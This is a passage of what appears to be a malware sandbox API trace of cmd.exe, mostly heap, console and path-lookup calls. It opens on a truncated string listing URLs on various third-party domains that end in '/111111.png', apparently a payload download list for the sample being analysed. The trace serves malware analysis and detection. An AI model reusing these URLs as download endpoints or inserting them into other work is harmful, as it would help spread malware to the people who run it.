...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 91 [0232.990] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.990] GetFileType (hFile=0x9c) returned 0x1 [0232.990] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.990] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14a0 [0232.990] GetProcessHeap () returned 0x20b0f920000 [0232.990] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0232.991] GetProcessHeap () returned 0x20b0f920000 [0232.991] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0232.991] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0232.991] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0232.991] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0232.991] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0232.991] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0232.991] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0232.991] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0232.991] GetProcessHeap () returned 0x20b0f920000 [0232.991] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0232.991] GetProcessHeap () returned 0x20b0f920000 [0232.991] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0232.991] GetProcessHeap () returned 0x20b0f920000 [0232.992] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xaa) returned 0x20b0f9259d0 [0232.992] _tell (_FileHandle=3) returned 5280 [0232.992] _close (_FileHandle=3) returned 0 [0232.992] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0232.992] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.992] GetFileType (hFile=0x50) returned 0x2 [0232.992] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.992] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0232.993] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.993] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0232.997] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0232.997] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0232.997] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0232.997] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.997] GetFileType (hFile=0x50) returned 0x2 [0232.997] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.997] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0232.998] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.998] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0232.999] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.999] GetFileType (hFile=0x50) returned 0x2 [0232.999] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.999] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0232.999] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.999] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0233.000] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 77 [0233.000] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.000] GetFileType (hFile=0x50) returned 0x2 [0233.000] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.000] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0233.000] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.000] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4d, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4d) returned 1 [0233.001] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0233.001] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.001] GetFileType (hFile=0x50) returned 0x2 [0233.001] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.001] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0233.001] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.001] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0233.010] malloc (_Size=0xffce) returned 0x20b0fa60940 [0233.010] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0233.011] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0233.011] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0233.011] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0233.011] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0233.011] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0233.011] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0233.011] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0233.011] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0233.011] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0233.011] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0233.011] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0233.011] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0233.011] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0233.011] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0233.011] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0233.012] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0233.012] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0233.012] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0233.012] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0233.012] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0233.012] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0233.012] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0233.012] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0233.012] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0233.012] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0233.012] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0233.012] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0233.012] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0233.012] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0233.012] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0233.012] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0233.012] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0233.012] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0233.012] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0233.012] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0233.012] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0233.012] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0233.012] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0233.012] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0233.012] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0233.012] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0233.012] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0233.013] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0233.013] malloc (_Size=0xffce) returned 0x20b0fa70920 [0233.013] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0233.013] GetProcessHeap () returned 0x20b0f920000 [0233.013] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0233.016] SetErrorMode (uMode=0x0) returned 0x0 [0233.016] SetErrorMode (uMode=0x1) returned 0x0 [0233.016] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0233.016] SetErrorMode (uMode=0x0) returned 0x1 [0233.016] GetProcessHeap () returned 0x20b0f920000 [0233.016] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0233.016] GetProcessHeap () returned 0x20b0f920000 [0233.016] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0233.016] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0233.016] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0233.016] GetProcessHeap () returned 0x20b0f920000 [0233.016] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947c10 [0233.016] GetProcessHeap () returned 0x20b0f920000 [0233.016] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0233.016] GetProcessHeap () returned 0x20b0f920000 [0233.016] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0233.016] GetProcessHeap () returned 0x20b0f920000 [0233.016] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0233.016] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0233.016] GetProcessHeap () returned 0x20b0f920000 [0233.016] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f946fb0 [0233.016] GetProcessHeap () returned 0x20b0f920000 [0233.016] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f946fb0, Size=0x7e) returned 0x20b0f956880 [0233.016] GetProcessHeap () returned 0x20b0f920000 [0233.016] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956880) returned 0x7e [0233.017] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.017] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d210 [0233.017] FindClose (in: hFindFile=0x20b0f92d210 | out: hFindFile=0x20b0f92d210) returned 1 [0233.017] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.019] GetLastError () returned 0x2 [0233.019] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.020] GetLastError () returned 0x2 [0233.020] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.020] GetLastError () returned 0x2 [0233.020] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.021] GetLastError () returned 0x2 [0233.021] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.021] GetLastError () returned 0x2 [0233.021] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.021] GetLastError () returned 0x2 [0233.021] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.021] GetLastError () returned 0x2 [0233.021] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.022] GetLastError () returned 0x2 [0233.022] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.022] GetLastError () returned 0x2 [0233.022] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.022] GetLastError () returned 0x2 [0233.022] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.022] GetLastError () returned 0x2 [0233.022] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.023] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.023] GetLastError () returned 0x2 [0233.023] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.023] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d090 [0233.023] FindClose (in: hFindFile=0x20b0f92d090 | out: hFindFile=0x20b0f92d090) returned 1 [0233.023] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.023] GetLastError () returned 0x2 [0233.024] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.024] GetLastError () returned 0x2 [0233.024] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.024] GetLastError () returned 0x2 [0233.024] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.024] GetLastError () returned 0x2 [0233.024] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.025] GetLastError () returned 0x2 [0233.025] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.025] GetLastError () returned 0x2 [0233.025] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.025] GetLastError () returned 0x2 [0233.025] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.025] GetLastError () returned 0x2 [0233.025] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.026] GetLastError () returned 0x2 [0233.026] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.026] GetLastError () returned 0x2 [0233.026] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.026] GetLastError () returned 0x2 [0233.026] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.026] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.026] GetLastError () returned 0x2 [0233.026] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.027] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.027] GetLastError () returned 0x2 [0233.027] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.027] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.027] GetLastError () returned 0x2 [0233.027] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.027] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.028] GetLastError () returned 0x2 [0233.028] ??_V@YAXPEAX@Z () returned 0x1 [0233.028] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0233.030] malloc (_Size=0xffce) returned 0x20b0fa70920 [0233.030] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0233.030] malloc (_Size=0xffce) returned 0x20b0fa80900 [0233.030] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0233.030] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0233.031] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0233.031] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0233.031] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0233.031] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0233.031] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0233.031] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0233.031] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0233.031] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0233.031] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0233.031] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0233.031] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0233.031] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0233.031] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0233.031] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0233.031] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0233.031] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0233.031] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0233.031] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0233.031] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0233.031] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0233.031] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0233.031] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0233.031] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0233.031] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0233.031] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0233.031] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0233.031] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0233.032] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0233.032] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0233.032] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0233.032] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0233.032] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0233.032] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0233.032] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0233.032] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0233.032] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0233.032] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0233.032] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0233.032] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0233.032] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0233.032] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0233.032] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0233.032] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0233.032] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0233.032] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0233.032] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0233.032] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0233.032] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0233.032] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0233.032] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0233.032] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0233.032] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0233.032] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0233.032] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0233.032] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0233.033] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0233.033] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0233.033] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0233.033] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0233.033] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0233.033] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0233.033] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0233.033] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0233.033] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0233.033] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0233.033] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0233.033] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0233.033] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0233.033] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0233.033] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0233.034] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0233.034] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0233.034] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0233.034] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0233.034] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0233.034] _wcsicmp (_String1="Windows", 